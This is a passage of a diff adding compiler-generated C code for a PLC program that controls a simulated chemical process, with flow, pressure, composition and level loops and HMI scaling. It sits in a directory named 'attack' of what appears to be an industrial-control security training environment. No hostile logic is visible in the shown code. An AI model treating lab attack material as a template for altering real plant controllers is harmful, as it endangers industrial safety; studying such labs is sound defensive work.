__SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE92_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE92_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED1,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED2,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED3,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED4,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED5,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED6,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED7,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED8,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED9,retain); + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_EXTERNAL(BOOL,RUN_BIT,data__->RUN_BIT,retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->ADD87_OUT,0,retain) + __INIT_VAR(data__->GE91_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->SCALE_TO_SIGNED0.,INPUT_UINT,,__GET_VAR(data__->PRESSURE,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED0); + __SET_VAR(data__->,HMI_PRESSURE,,__GET_VAR(data__->SCALE_TO_SIGNED0.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED1.,INPUT_UINT,,__GET_VAR(data__->LEVEL,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED1); + __SET_VAR(data__->,HMI_LEVEL,,__GET_VAR(data__->SCALE_TO_SIGNED1.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED2.,INPUT_UINT,,__GET_VAR(data__->F1_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED2); + __SET_VAR(data__->,HMI_F1_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED2.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED3.,INPUT_UINT,,__GET_VAR(data__->F2_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED3); + __SET_VAR(data__->,HMI_F2_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED3.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED4.,INPUT_UINT,,__GET_VAR(data__->PURGE_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED4); + __SET_VAR(data__->,HMI_PURGE_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED4.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED5.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED5); + __SET_VAR(data__->,HMI_PRODUCT_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED5.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED6.,INPUT_UINT,,__GET_VAR(data__->F1_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED6); + __SET_VAR(data__->,HMI_F1_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED6.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED7.,INPUT_UINT,,__GET_VAR(data__->F2_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED7); + __SET_VAR(data__->,HMI_F2_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED7.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED8.,INPUT_UINT,,__GET_VAR(data__->PURGE_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED8); + __SET_VAR(data__->,HMI_PURGE_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED8.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED9.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED9); + __SET_VAR(data__->,HMI_PRODUCT_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED9.OUTPUT_INT,)); + __SET_VAR(data__->,ADD87_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)1)); + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->ADD87_OUT,)); + __SET_VAR(data__->,GE91_OUT,,GE__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)32000)); + __SET_VAR(data__->,MOVE92_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->GE91_OUT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE92_ENO,)) { + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->MOVE92_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h new file mode 100644 index 0000000..9c89adb --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h @@ -0,0 +1,456 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK SCALE_TO_SIGNED +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,INPUT_UINT) + __DECLARE_VAR(INT,OUTPUT_INT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,DIV3_OUT) + __DECLARE_VAR(UINT,ABS8_OUT) + __DECLARE_VAR(INT,UINT_TO_INT9_OUT) + +} SCALE_TO_SIGNED; + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain); +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part 